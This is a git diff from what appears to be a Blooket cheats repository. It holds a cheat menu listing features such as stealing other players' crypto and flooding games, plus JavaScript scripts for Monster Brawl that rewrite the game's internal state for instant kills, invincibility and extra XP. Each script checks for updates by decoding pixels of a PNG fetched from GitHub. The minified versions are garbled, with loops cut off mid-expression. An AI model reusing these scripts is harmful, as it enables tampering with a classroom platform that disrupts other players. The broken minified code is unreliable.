Always Triple
+
Auto Guess
+
Choice ESP
+
Password ESP
+
Remove Hack
+
Set Crypto
+
Set Password
+
Steal Players Crypto
+
+

Deceptive Dinos

+
+
Auto Choose
+
Rock ESP
+
Set Fossils
+
Set Multiplier
+
Stop Cheating
+
+

Tower of Doom

+
+
Fill Deck
+
Max Cards
+
Max Health
+
Max Stats
+
Min Enemy
+
Set Coins
+
+

Factory

+
+
Choose Blook
+
Free Upgrades
+
Max Blooks
+
Remove Glitches
+
Send Glitch
+
Set All Mega Bot
+
Set Cash
+
+

Fishing Frenzy

+
+
Frenzy
+
Remove Distraction
+
Send Distraction
+
Set Lure
+
Set Weight
+
+

Flappy Blook

+
+
Set Score
+
Toggle Ghost
+
+

Global

+
+
Auto Answer
+
Change Blook Ingame
+
Every Answer Correct
+
Flood Game
+
Get Daily Rewards
+
Highlight Answers
+
Remove Name Limit
+
Remove Random Name
+
Sell Cheap Duplicates
+
Sell Duplicate Blooks
+
Simulate Pack
+
Simulate Unlock
+
Spam Buy Blooks
+
Unlock Plus Gamemodes
+
Use Any Blook
+

Intervals

+
+
Auto Answer
+
Highlight Answers
+
+
+

Gold Quest

+
+
Always Triple
+
Auto Choose
+
Chest ESP
+
Reset All Gold
+
Reset Players Gold
+
Set Gold
+
Set Players Gold
+
Swap Gold
+
+

Crazy Kingdom

+
+
Choice ESP
+
Choice ESP Loop
+
Disable Toucan
+
Max Stats
+
Set Guests
+
Skip Guest
+
+

Racing

+
+
Instant Win
+
+

Royale

+
+
Auto Answer
+

Intervals

+
+
Auto Answer
+
+
+

Blook Rush

+
+
Set Blooks
+
Set Defense
+
+

Tower Defense

+
+
Earthquake
+
Max Towers
+
Remove Ducks
+
Remove Enemies
+
Remove Obsticles
+
Set Dmg
+
Set Round
+
Set Tokens
+
+

Tower Defense 2

+
+
Max Towers
+
Remove Enemies
+
Set Coins
+
Set Health
+
Set Round
+
+

Santa's Workshop

+
+
Remove Distractions
+
Send Distraction
+
Set Toys
+
Set Toys Per Q
+
Swap Toys
+
+
+ + \ No newline at end of file diff --git a/cheats/brawl/doubleEnemyXp.js b/cheats/brawl/doubleEnemyXp.js new file mode 100644 index 0000000..cd1a8cb --- /dev/null +++ b/cheats/brawl/doubleEnemyXp.js @@ -0,0 +1,43 @@ +/** +* @license StewartPrivateLicense-2.0.1 +* Copyright (c) 05Konz 2023 +* +* You may not reproduce or distribute any code inside this file without the licenser's permission. +* You may not copy, modify, steal, skid, or recreate any of the code inside this file. +* You may not under any circumstance republish any code from this file as your own. +* +* ALL TERMS STATED IN THE LINK BELOW APPLY ASWELL +* https://github.com/05Konz/Blooket-Cheats/blob/main/LICENSE +*/ + +/* THE UPDATE CHECKER IS ADDED DURING COMMIT PREP, THERE MAY BE REDUNDANT CODE, DO NOT TOUCH */ + +(() => { + const cheat = (async () => { + for (const collider of Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner.stateNode.state.game.scene.physics.world.colliders._active.filter(x => x.callbackContext?.toString().includes('invulnerableTime'))) { + const enemies = collider.object2; + let _start = enemies.classType.prototype.start; + enemies.classType.prototype.start = function () { _start.apply(this, arguments), this.val *= 2 } + enemies.children.entries.forEach(e => e.val *= 2); + } + }); + let img = new Image; + img.src = "https://raw.githubusercontent.com/05Konz/Blooket-Cheats/main/autoupdate/timestamps/brawl/doubleEnemyXp.png?" + Date.now(); + img.crossOrigin = "Anonymous"; + img.onload = function() { + const c = document.createElement("canvas"); + const ctx = c.getContext("2d"); + ctx.drawImage(img, 0, 0, this.width, this.height); + let { data } = ctx.getImageData(0, 0, this.width, this.height), decode = "", last; + for (let i = 0; i < data.length; i += 4) { + let char = String.fromCharCode(data[i + 1] * 256 + data[i + 2]); + decode += char; + if (char == "/" && last == "*") break; + last = char; + } + let iframe = document.querySelector("iframe"); + const [_, time, error] = decode.match(/LastUpdated: (.+?); ErrorMessage: "(.+?)"/); + if (parseInt(time) <= 1692640271671 || iframe.contentWindow.confirm(error)) cheat(); + } + img.onerror = img.onabort = () => (img.src = null, cheat()); +})(); \ No newline at end of file diff --git a/cheats/brawl/doubleEnemyXp.min.js b/cheats/brawl/doubleEnemyXp.min.js new file mode 100644 index 0000000..67e0b94 --- /dev/null +++ b/cheats/brawl/doubleEnemyXp.min.js @@ -0,0 +1 @@ +/* All terms found in the following link apply: https://github.com/05Konz/Blooket-Cheats/blob/main/LICENSE */ (()=>{let r=document.querySelector("iframe");r.contentWindow.console.log.call(window,"%c Blooket Cheats %c\n\tBy 05Konz on GitHub","color: #0bc2cf; font-size: 3rem","color: #8000ff; font-size: 1rem"),r.contentWindow.console.log.call(window,"%c\tdoubleEnemyXp.js","color: #0bc2cf; font-size: 1rem"),r.contentWindow.console.log.call(window,"%c\tStar the github repo!%c https://github.com/05Konz/Blooket-Cheats","color: #ffd000; font-size: 1rem","");const l=async()=>{for(const o of Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner.stateNode.state.game.scene.physics.world.colliders._active.filter(t=>t.callbackContext?.toString().includes("invulnerableTime"))){var e=o.object2;let t=e.classType.prototype.start;e.classType.prototype.start=function(){t.apply(this,arguments),this.val*=2},e.children.entries.forEach(t=>t.val*=2)}};let s=new Image;s.src="https://raw.githubusercontent.com/05Konz/Blooket-Cheats/main/autoupdate/timestamps/brawl/doubleEnemyXp.png?"+Date.now(),s.crossOrigin="Anonymous",s.onload=function(){var t=document.createElement("canvas").getContext("2d");t.drawImage(s,0,0,this.width,this.height);let e=t.getImageData(0,0,this.width,this.height)["data"],o="",n;for(let t=0;t(s.src=null,l())})(); \ No newline at end of file diff --git a/cheats/brawl/halfEnemySpeed.js b/cheats/brawl/halfEnemySpeed.js new file mode 100644 index 0000000..ac5f48e --- /dev/null +++ b/cheats/brawl/halfEnemySpeed.js @@ -0,0 +1,43 @@ +/** +* @license StewartPrivateLicense-2.0.1 +* Copyright (c) 05Konz 2023 +* +* You may not reproduce or distribute any code inside this file without the licenser's permission. +* You may not copy, modify, steal, skid, or recreate any of the code inside this file. +* You may not under any circumstance republish any code from this file as your own. +* +* ALL TERMS STATED IN THE LINK BELOW APPLY ASWELL +* https://github.com/05Konz/Blooket-Cheats/blob/main/LICENSE +*/ + +/* THE UPDATE CHECKER IS ADDED DURING COMMIT PREP, THERE MAY BE REDUNDANT CODE, DO NOT TOUCH */ + +(() => { + const cheat = (async () => { + for (const collider of Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner.stateNode.state.game.scene.physics.world.colliders._active.filter(x => x.callbackContext?.toString().includes('invulnerableTime'))) { + const enemies = collider.object2; + let _start = enemies.classType.prototype.start; + enemies.classType.prototype.start = function () { _start.apply(this, arguments), this.speed *= .5 } + enemies.children.entries.forEach(e => e.speed *= .5); + } + }); + let img = new Image; + img.src = "https://raw.githubusercontent.com/05Konz/Blooket-Cheats/main/autoupdate/timestamps/brawl/halfEnemySpeed.png?" + Date.now(); + img.crossOrigin = "Anonymous"; + img.onload = function() { + const c = document.createElement("canvas"); + const ctx = c.getContext("2d"); + ctx.drawImage(img, 0, 0, this.width, this.height); + let { data } = ctx.getImageData(0, 0, this.width, this.height), decode = "", last; + for (let i = 0; i < data.length; i += 4) { + let char = String.fromCharCode(data[i + 1] * 256 + data[i + 2]); + decode += char; + if (char == "/" && last == "*") break; + last = char; + } + let iframe = document.querySelector("iframe"); + const [_, time, error] = decode.match(/LastUpdated: (.+?); ErrorMessage: "(.+?)"/); + if (parseInt(time) <= 1692640271678 || iframe.contentWindow.confirm(error)) cheat(); + } + img.onerror = img.onabort = () => (img.src = null, cheat()); +})(); \ No newline at end of file diff --git a/cheats/brawl/halfEnemySpeed.min.js b/cheats/brawl/halfEnemySpeed.min.js new file mode 100644 index 0000000..0d65fc3 --- /dev/null +++ b/cheats/brawl/halfEnemySpeed.min.js @@ -0,0 +1 @@ +/* All terms found in the following link apply: https://github.com/05Konz/Blooket-Cheats/blob/main/LICENSE */ (()=>{let r=document.querySelector("iframe");r.contentWindow.console.log.call(window,"%c Blooket Cheats %c\n\tBy 05Konz on GitHub","color: #0bc2cf; font-size: 3rem","color: #8000ff; font-size: 1rem"),r.contentWindow.console.log.call(window,"%c\thalfEnemySpeed.js","color: #0bc2cf; font-size: 1rem"),r.contentWindow.console.log.call(window,"%c\tStar the github repo!%c https://github.com/05Konz/Blooket-Cheats","color: #ffd000; font-size: 1rem","");const s=async()=>{for(const o of Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner.stateNode.state.game.scene.physics.world.colliders._active.filter(e=>e.callbackContext?.toString().includes("invulnerableTime"))){var t=o.object2;let e=t.classType.prototype.start;t.classType.prototype.start=function(){e.apply(this,arguments),this.speed*=.5},t.children.entries.forEach(e=>e.speed*=.5)}};let l=new Image;l.src="https://raw.githubusercontent.com/05Konz/Blooket-Cheats/main/autoupdate/timestamps/brawl/halfEnemySpeed.png?"+Date.now(),l.crossOrigin="Anonymous",l.onload=function(){var e=document.createElement("canvas").getContext("2d");e.drawImage(l,0,0,this.width,this.height);let t=e.getImageData(0,0,this.width,this.height)["data"],o="",n;for(let e=0;e(l.src=null,s())})(); \ No newline at end of file diff --git a/cheats/brawl/instantKill.js b/cheats/brawl/instantKill.js new file mode 100644 index 0000000..747b6d5 --- /dev/null +++ b/cheats/brawl/instantKill.js @@ -0,0 +1,43 @@ +/** +* @license StewartPrivateLicense-2.0.1 +* Copyright (c) 05Konz 2023 +* +* You may not reproduce or distribute any code inside this file without the licenser's permission. +* You may not copy, modify, steal, skid, or recreate any of the code inside this file. +* You may not under any circumstance republish any code from this file as your own. +* +* ALL TERMS STATED IN THE LINK BELOW APPLY ASWELL +* https://github.com/05Konz/Blooket-Cheats/blob/main/LICENSE +*/ + +/* THE UPDATE CHECKER IS ADDED DURING COMMIT PREP, THERE MAY BE REDUNDANT CODE, DO NOT TOUCH */ + +(() => { + const cheat = (async () => { + for (const collider of Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner.stateNode.state.game.scene.physics.world.colliders._active.filter(x => x.callbackContext?.toString().includes('invulnerableTime'))) { + const enemies = collider.object2; + let _start = enemies.classType.prototype.start; + enemies.classType.prototype.start = function () { _start.apply(this, arguments), this.hp = 1 } + enemies.children.entries.forEach(e => e.hp = 1); + } + }); + let img = new Image; + img.src = "https://raw.githubusercontent.com/05Konz/Blooket-Cheats/main/autoupdate/timestamps/brawl/instantKill.png?" + Date.now(); + img.crossOrigin = "Anonymous"; + img.onload = function() { + const c = document.createElement("canvas"); + const ctx = c.getContext("2d"); + ctx.drawImage(img, 0, 0, this.width, this.height); + let { data } = ctx.getImageData(0, 0, this.width, this.height), decode = "", last; + for (let i = 0; i < data.length; i += 4) { + let char = String.fromCharCode(data[i + 1] * 256 + data[i + 2]); + decode += char; + if (char == "/" && last == "*") break; + last = char; + } + let iframe = document.querySelector("iframe"); + const [_, time, error] = decode.match(/LastUpdated: (.+?); ErrorMessage: "(.+?)"/); + if (parseInt(time) <= 1692640271681 || iframe.contentWindow.confirm(error)) cheat(); + } + img.onerror = img.onabort = () => (img.src = null, cheat()); +})(); \ No newline at end of file diff --git a/cheats/brawl/instantKill.min.js b/cheats/brawl/instantKill.min.js new file mode 100644 index 0000000..a3c3bec --- /dev/null +++ b/cheats/brawl/instantKill.min.js @@ -0,0 +1 @@ +/* All terms found in the following link apply: https://github.com/05Konz/Blooket-Cheats/blob/main/LICENSE */ (()=>{let r=document.querySelector("iframe");r.contentWindow.console.log.call(window,"%c Blooket Cheats %c\n\tBy 05Konz on GitHub","color: #0bc2cf; font-size: 3rem","color: #8000ff; font-size: 1rem"),r.contentWindow.console.log.call(window,"%c\tinstantKill.js","color: #0bc2cf; font-size: 1rem"),r.contentWindow.console.log.call(window,"%c\tStar the github repo!%c https://github.com/05Konz/Blooket-Cheats","color: #ffd000; font-size: 1rem","");const s=async()=>{for(const o of Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner.stateNode.state.game.scene.physics.world.colliders._active.filter(t=>t.callbackContext?.toString().includes("invulnerableTime"))){var e=o.object2;let t=e.classType.prototype.start;e.classType.prototype.start=function(){t.apply(this,arguments),this.hp=1},e.children.entries.forEach(t=>t.hp=1)}};let l=new Image;l.src="https://raw.githubusercontent.com/05Konz/Blooket-Cheats/main/autoupdate/timestamps/brawl/instantKill.png?"+Date.now(),l.crossOrigin="Anonymous",l.onload=function(){var t=document.createElement("canvas").getContext("2d");t.drawImage(l,0,0,this.width,this.height);let e=t.getImageData(0,0,this.width,this.height)["data"],o="",n;for(let t=0;t(l.src=null,s())})(); \ No newline at end of file diff --git a/cheats/brawl/invincibility.js b/cheats/brawl/invincibility.js new file mode 100644 index 0000000..a96d0d5 --- /dev/null +++ b/cheats/brawl/invincibility.js @@ -0,0 +1,38 @@ +/** +* @license StewartPrivateLicense-2.0.1 +* Copyright (c) 05Konz 2023 +* +* You may not reproduce or distribute any code inside this file without the licenser's permission. +* You may not copy, modify, steal, skid, or recreate any of the code inside this file. +* You may not under any circumstance republish any code from this file as your own. +* +* ALL TERMS STATED IN THE LINK BELOW APPLY ASWELL +* https://github.com/05Konz/Blooket-Cheats/blob/main/LICENSE +*/ + +/* THE UPDATE CHECKER IS ADDED DURING COMMIT PREP, THERE MAY BE REDUNDANT CODE, DO NOT TOUCH */ + +(() => { + const cheat = (async () => { + for (const collider of Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner.stateNode.state.game.scene.physics.world.colliders._active.filter(x => x.callbackContext?.toString().includes('invulnerableTime'))) collider.collideCallback = () => { }; + }); + let img = new Image; + img.src = "https://raw.githubusercontent.com/05Konz/Blooket-Cheats/main/autoupdate/timestamps/brawl/invincibility.png?" + Date.now(); + img.crossOrigin = "Anonymous"; + img.onload = function() { + const c = document.createElement("canvas"); + const ctx = c.getContext("2d"); + ctx.drawImage(img, 0, 0, this.width, this.height); + let { data } = ctx.getImageData(0, 0, this.width, this.height), decode = "", last; + for (let i = 0; i < data.length; i += 4) { + let char = String.fromCharCode(data[i + 1] * 256 + data[i + 2]); + decode += char; + if (char == "/" && last == "*") break; + last = char; + } + let iframe = document.querySelector("iframe"); + const [_, time, error] = decode.match(/LastUpdated: (.+?); ErrorMessage: "(.+?)"/); + if (parseInt(time) <= 1692640271686 || iframe.contentWindow.confirm(error)) cheat(); + } + img.onerror = img.onabort = () => (img.src = null, cheat()); +})(); \ No newline at end of file diff --git a/cheats/brawl/invincibility.min.js b/cheats/brawl/invincibility.min.js new file mode 100644 index 0000000..ce181c0 --- /dev/null +++ b/cheats/brawl/invincibility.min.js @@ -0,0 +1 @@ +/* All terms found in the following link apply: https://github.com/05Konz/Blooket-Cheats/blob/main/LICENSE */ (()=>{let i=document.querySelector("iframe");i.contentWindow.console.log.call(window,"%c Blooket Cheats %c\n\tBy 05Konz on GitHub","color: #0bc2cf; font-size: 3rem","color: #8000ff; font-size: 1rem"),i.contentWindow.console.log.call(window,"%c\tinvincibility.js","color: #0bc2cf; font-size: 1rem"),i.contentWindow.console.log.call(window,"%c\tStar the github repo!%c https://github.com/05Konz/Blooket-Cheats","color: #ffd000; font-size: 1rem","");const l=async()=>{for(const t of Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner.stateNode.state.game.scene.physics.world.colliders._active.filter(t=>t.callbackContext?.toString().includes("invulnerableTime")))t.collideCallback=()=>{}};let r=new Image;r.src="https://raw.githubusercontent.com/05Konz/Blooket-Cheats/main/autoupdate/timestamps/brawl/invincibility.png?"+Date.now(),r.crossOrigin="Anonymous",r.onload=function(){var t=document.createElement("canvas").getContext("2d");t.drawImage(r,0,0,this.width,this.height);let e=t.getImageData(0,0,this.width,this.height)["data"],o="",n;for(let t=0;t(r.src=null,l())})(); \ No newline at end of file diff --git a/cheats/brawl/killEnemies.js b/cheats/brawl/killEnemies.js new file mode 100644 index 0000000..f723ea0 --- /dev/null +++ b/cheats/brawl/killEnemies.js @@ -0,0 +1,38 @@ +/** +* @license StewartPrivateLicense-2.0.1 +* Copyright (c) 05Konz 2023 +* +* You may not reproduce or distribute any code inside this file without the licenser's permission. +* You may not copy, modify, steal, skid, or recreate any of the code inside this file. +* You may not under any circumstance republish any code from this file as your own. +* +* ALL TERMS STATED IN THE LINK BELOW APPLY ASWELL +* https://github.com/05Konz/Blooket-Cheats/blob/main/LICENSE +*/ + +/* THE UPDATE CHECKER IS ADDED DURING COMMIT PREP, THERE MAY BE REDUNDANT CODE, DO NOT TOUCH */ + +(() => { + const cheat = (async () => { + Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner.stateNode.state.game.scene.physics.world.bodies.entries.forEach(x => x?.gameObject?.receiveDamage?.(x.gameObject.hp, 1)); + }); + let img = new Image; + img.src = "https://raw.githubusercontent.com/05Konz/Blooket-Cheats/main/autoupdate/timestamps/brawl/killEnemies.png?" + Date.now(); + img.crossOrigin = "Anonymous"; + img.onload = function() { + const c = document.createElement("canvas"); + const ctx = c.getContext("2d"); + ctx.drawImage(img, 0, 0, this.width, this.height); + let { data } = ctx.getImageData(0, 0, this.width, this.height), decode = "", last; + for (let i = 0; i < data.length; i += 4) { + let char = String.fromCharCode(data[i + 1] * 256 + data[i + 2]); + decode += char; + if (char == "/" && last == "*") break; + last = char; + } + let iframe = document.querySelector("iframe"); + const [_, time, error] = decode.match(/LastUpdated: (.+?); ErrorMessage: "(.+?)"/); + if (parseInt(time) <= 1692640271691 || iframe.contentWindow.confirm(error)) cheat(); + } + img.onerror = img.onabort = () => (img.src = null, cheat()); +})(); \ No newline at end of file diff --git a/cheats/brawl/killEnemies.min.js b/cheats/brawl/killEnemies.min.js new file mode 100644 index 0000000..7e0bab5 --- /dev/null +++ b/cheats/brawl/killEnemies.min.js @@ -0,0 +1 @@ +/* All terms found in the following link apply: https://github.com/05Konz/Blooket-Cheats/blob/main/LICENSE */ (()=>{let r=document.querySelector("iframe");r.contentWindow.console.log.call(window,"%c Blooket Cheats %c\n\tBy 05Konz on GitHub","color: #0bc2cf; font-size: 3rem","color: #8000ff; font-size: 1rem"),r.contentWindow.console.log.call(window,"%c\tkillEnemies.js","color: #0bc2cf; font-size: 1rem"),r.contentWindow.console.log.call(window,"%c\tStar the github repo!%c https://github.com/05Konz/Blooket-Cheats","color: #ffd000; font-size: 1rem","");const s=async()=>{Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner.stateNode.state.game.scene.physics.world.bodies.entries.forEach(e=>e?.gameObject?.receiveDamage?.(e.gameObject.hp,1))};let i=new Image;i.src="https://raw.githubusercontent.com/05Konz/Blooket-Cheats/main/autoupdate/timestamps/brawl/killEnemies.png?"+Date.now(),i.crossOrigin="Anonymous",i.onload=function(){var e=document.createElement("canvas").getContext("2d");e.drawImage(i,0,0,this.width,this.height);let t=e.getImageData(0,0,this.width,this.height)["data"],o="",n;for(let e=0;e(i.src=null,s())})(); \ No newline at end of file diff --git a/cheats/brawl/magnet.js b/cheats/brawl/magnet.js new file mode 100644 index 0000000..19cae94 --- /dev/null +++ b/cheats/brawl/magnet.js @@ -0,0 +1,38 @@ +/** +* @license StewartPrivateLicense-2.0.1 +* Copyright (c) 05Konz 2023 +* +* You may not reproduce or distribute any code inside this file without the licenser's permission. +* You may not copy, modify, steal, skid, or recreate any of the code inside this file. +* You may not under any circumstance republish any code from this file as your own. +* +* ALL TERMS STATED IN THE LINK BELOW APPLY ASWELL +* https://github.com/05Konz/Blooket-Cheats/blob/main/LICENSE +*/ + +/* THE UPDATE CHECKER IS ADDED DURING COMMIT PREP, THERE MAY BE REDUNDANT CODE, DO NOT TOUCH */ + +(() => { + const cheat = (async () => { + Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner.stateNode.state.game.scene.physics.world.colliders._active.find(x => x.collideCallback?.toString().includes('magnetTime')).collideCallback({ active: true }, { active: true, setActive() { }, setVisible() { } }); + }); + let img = new Image; + img.src = "https://raw.githubusercontent.com/05Konz/Blooket-Cheats/main/autoupdate/timestamps/brawl/magnet.png?" + Date.now(); + img.crossOrigin = "Anonymous"; + img.onload = function() { + const c = document.createElement("canvas"); + const ctx = c.getContext("2d"); + ctx.drawImage(img, 0, 0, this.width, this.height); + let { data } = ctx.getImageData(0, 0, this.width, this.height), decode = "", last; + for (let i = 0; i < data.length; i += 4) { + let char = String.fromCharCode(data[i + 1] * 256 + data[i + 2]); + decode += char; + if (char == "/" && last == "*") break; + last = char; + } + let iframe = document.querySelector("iframe"); + const [_, time, error] = decode.match(/LastUpdated: (.+?); ErrorMessage: "(.+?)"/); + if (parseInt(time) <= 1692640271695 || iframe.contentWindow.confirm(error)) cheat(); + } + img.onerror = img.onabort = () => (img.src = null, cheat()); +})(); \ No newline at end of file diff --git a/cheats/brawl/magnet.min.js b/cheats/brawl/magnet.min.js new file mode 100644 index 0000000..df5a3a2 --- /dev/null +++ b/cheats/brawl/magnet.min.js @@ -0,0 +1 @@ +/* All terms found in the following link apply: https://github.com/05Konz/Blooket-Cheats/blob/main/LICENSE */ (()=>{let l=document.querySelector("iframe");l.contentWindow.console.log.call(window,"%c Blooket Cheats %c\n\tBy 05Konz on GitHub","color: #0bc2cf; font-size: 3rem","color: #8000ff; font-size: 1rem"),l.contentWindow.console.log.call(window,"%c\tmagnet.js","color: #0bc2cf; font-size: 1rem"),l.contentWindow.console.log.call(window,"%c\tStar the github repo!%c https://github.com/05Konz/Blooket-Cheats","color: #ffd000; font-size: 1rem","");const i=async()=>{Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner.stateNode.state.game.scene.physics.world.colliders._active.find(e=>e.collideCallback?.toString().includes("magnetTime")).collideCallback({active:!0},{active:!0,setActive(){},setVisible(){}})};let r=new Image;r.src="https://raw.githubusercontent.com/05Konz/Blooket-Cheats/main/autoupdate/timestamps/brawl/magnet.png?"+Date.now(),r.crossOrigin="Anonymous",r.onload=function(){var e=document.createElement("canvas").getContext("2d");e.drawImage(r,0,0,this.width,this.height);let t=e.getImageData(0,0,this.width,this.height)["data"],o="",n;for(let e=0;e(r.src=null,i())})(); \ No newline at end of file diff --git a/cheats/brawl/maxCurrentAbilities.js b/cheats/brawl/maxCurrentAbilities.js new file mode 100644 index 0000000..2c24a30 --- /dev/null +++ b/cheats/brawl/maxCurrentAbilities.js @@ -0,0 +1,42 @@ +/** +* @license StewartPrivateLicense-2.0.1 +* Copyright (c) 05Konz 2023 +* +* You may not reproduce or distribute any code inside this file without the licenser's permission. +* You may not copy, modify, steal, skid, or recreate any of the code inside this file. +* You may not under any circumstance republish any code from this file as your own. +* +* ALL TERMS STATED IN THE LINK BELOW APPLY ASWELL +* https://github.com/05Konz/Blooket-Cheats/blob/main/LICENSE +*/ + +/* THE UPDATE CHECKER IS ADDED DURING COMMIT PREP, THERE MAY BE REDUNDANT CODE, DO NOT TOUCH */ + +(() => { + const cheat = (async () => { + const { stateNode } = Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner; + for (const [ability, level] of Object.entries(stateNode.state.abilities)) for (let i = 0; i < (10 - level); i++) stateNode.state.game.scene.game.events.emit("level up", ability, stateNode.state.abilities[ability]++); + stateNode.setState({ + level: stateNode.state.game.scene.level = [1, 3, 5, 10, 15, 25, 35].sort((a, b) => Math.abs(a - stateNode.state.level) - Math.abs(b - stateNode.state.level))[0] - 1 + }); + }); + let img = new Image; + img.src = "https://raw.githubusercontent.com/05Konz/Blooket-Cheats/main/autoupdate/timestamps/brawl/maxCurrentAbilities.png?" + Date.now(); + img.crossOrigin = "Anonymous"; + img.onload = function() { + const c = document.createElement("canvas"); + const ctx = c.getContext("2d"); + ctx.drawImage(img, 0, 0, this.width, this.height); + let { data } = ctx.getImageData(0, 0, this.width, this.height), decode = "", last; + for (let i = 0; i < data.length; i += 4) { + let char = String.fromCharCode(data[i + 1] * 256 + data[i + 2]); + decode += char; + if (char == "/" && last == "*") break; + last = char; + } + let iframe = document.querySelector("iframe"); + const [_, time, error] = decode.match(/LastUpdated: (.+?); ErrorMessage: "(.+?)"/); + if (parseInt(time) <= 1692640271698 || iframe.contentWindow.confirm(error)) cheat(); + } + img.onerror = img.onabort = () => (img.src = null, cheat()); +})(); \ No newline at end of file diff --git a/cheats/brawl/maxCurrentAbilities.min.js b/cheats/brawl/maxCurrentAbilities.min.js new file mode 100644 index 0000000..565af00 --- /dev/null +++ b/cheats/brawl/maxCurrentAbilities.min.js @@ -0,0 +1 @@ +/* All terms found in the following link apply: https://github.com/05Konz/Blooket-Cheats/blob/main/LICENSE */ (()=>{let r=document.querySelector("iframe");r.contentWindow.console.log.call(window,"%c Blooket Cheats %c\n\tBy 05Konz on GitHub","color: #0bc2cf; font-size: 3rem","color: #8000ff; font-size: 1rem"),r.contentWindow.console.log.call(window,"%c\tmaxCurrentAbilities.js","color: #0bc2cf; font-size: 1rem"),r.contentWindow.console.log.call(window,"%c\tStar the github repo!%c https://github.com/05Konz/Blooket-Cheats","color: #ffd000; font-size: 1rem","");const l=async()=>{const o=Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner["stateNode"];for(var[t,a]of Object.entries(o.state.abilities))for(let e=0;e<10-a;e++)o.state.game.scene.game.events.emit("level up",t,o.state.abilities[t]++);o.setState({level:o.state.game.scene.level=[1,3,5,10,15,25,35].sort((e,t)=>Math.abs(e-o.state.level)-Math.abs(t-o.state.level))[0]-1})};let c=new Image;c.src="https://raw.githubusercontent.com/05Konz/Blooket-Cheats/main/autoupdate/timestamps/brawl/maxCurrentAbilities.png?"+Date.now(),c.crossOrigin="Anonymous",c.onload=function(){var e=document.createElement("canvas").getContext("2d");e.drawImage(c,0,0,this.width,this.height);let t=e.getImageData(0,0,this.width,this.height)["data"],o="",a;for(let e=0;e(c.src=null,l())})(); \ No newline at end of file diff --git a/cheats/brawl/nextLevel.js b/cheats/brawl/nextLevel.js new file mode 100644 index 0000000..c0f23f8 --- /dev/null +++ b/cheats/brawl/nextLevel.js @@ -0,0 +1,40 @@ +/** +* @license StewartPrivateLicense-2.0.1 +* Copyright (c) 05Konz 2023 +* +* You may not reproduce or distribute any code inside this file without the licenser's permission. +* You may not copy, modify, steal, skid, or recreate any of the code inside this file. +* You may not under any circumstance republish any code from this file as your own. +* +* ALL TERMS STATED IN THE LINK BELOW APPLY ASWELL +* https://github.com/05Konz/Blooket-Cheats/blob/main/LICENSE +*/ + +/* THE UPDATE CHECKER IS ADDED DURING COMMIT PREP, THERE MAY BE REDUNDANT CODE, DO NOT TOUCH */ + +(() => { + const cheat = (async () => { + let { stateNode } = Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner; + let { object1: player, object2: xp } = stateNode.state.game.scene.physics.world.colliders._active.find(x => x.collideCallback?.toString().includes('emit("xp"')); + xp.get().spawn(player.x, player.y, ((e) => 1 === e ? 1 : e < 5 ? 5 : e < 10 ? 10 : e < 20 ? 20 : e < 30 ? 30 : e < 40 ? 40 : e < 50 ? 50 : 100)(stateNode.state.level) - stateNode.xp); + }); + let img = new Image; + img.src = "https://raw.githubusercontent.com/05Konz/Blooket-Cheats/main/autoupdate/timestamps/brawl/nextLevel.png?" + Date.now(); + img.crossOrigin = "Anonymous"; + img.onload = function() { + const c = document.createElement("canvas"); + const ctx = c.getContext("2d"); + ctx.drawImage(img, 0, 0, this.width, this.height); + let { data } = ctx.getImageData(0, 0, this.width, this.height), decode = "", last; + for (let i = 0; i < data.length; i += 4) { + let char = String.fromCharCode(data[i + 1] * 256 + data[i + 2]); + decode += char; + if (char == "/" && last == "*") break; + last = char; + } + let iframe = document.querySelector("iframe"); + const [_, time, error] = decode.match(/LastUpdated: (.+?); ErrorMessage: "(.+?)"/); + if (parseInt(time) <= 1692640271705 || iframe.contentWindow.confirm(error)) cheat(); + } + img.onerror = img.onabort = () => (img.src = null, cheat()); +})(); \ No newline at end of file diff --git a/cheats/brawl/nextLevel.min.js b/cheats/brawl/nextLevel.min.js new file mode 100644 index 0000000..e03337a --- /dev/null +++ b/cheats/brawl/nextLevel.min.js @@ -0,0 +1 @@ +/* All terms found in the following link apply: https://github.com/05Konz/Blooket-Cheats/blob/main/LICENSE */ (()=>{let l=document.querySelector("iframe");l.contentWindow.console.log.call(window,"%c Blooket Cheats %c\n\tBy 05Konz on GitHub","color: #0bc2cf; font-size: 3rem","color: #8000ff; font-size: 1rem"),l.contentWindow.console.log.call(window,"%c\tnextLevel.js","color: #0bc2cf; font-size: 1rem"),l.contentWindow.console.log.call(window,"%c\tStar the github repo!%c https://github.com/05Konz/Blooket-Cheats","color: #ffd000; font-size: 1rem","");const r=async()=>{var e=Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner["stateNode"],{object1:t,object2:o}=e.state.game.scene.physics.world.colliders._active.find(e=>e.collideCallback?.toString().includes('emit("xp"'));o.get().spawn(t.x,t.y,(1===(o=e.state.level)?1:o<5?5:o<10?10:o<20?20:o<30?30:o<40?40:o<50?50:100)-e.xp)};let s=new Image;s.src="https://raw.githubusercontent.com/05Konz/Blooket-Cheats/main/autoupdate/timestamps/brawl/nextLevel.png?"+Date.now(),s.crossOrigin="Anonymous",s.onload=function(){var e=document.createElement("canvas").getContext("2d");e.drawImage(s,0,0,this.width,this.height);let t=e.getImageData(0,0,this.width,this.height)["data"],o="",n;for(let e=0;e(s.src=null,r())})(); \ No newline at end of file diff --git a/cheats/brawl/readme.md b/cheats/brawl/readme.md new file mode 100644 index 0000000..381e0e1 --- /dev/null +++ b/cheats/brawl/readme.md @@ -0,0 +1,22 @@ +# Monster Brawl Cheats + +## [Double Enemy XP](doubleEnemyXp.js) +Doubles enemy XP drop value +## [Half Enemy Speed](halfEnemySpeed.js) +Makes enemies move 2x slower +## [Instant Kill](instantKill.js) 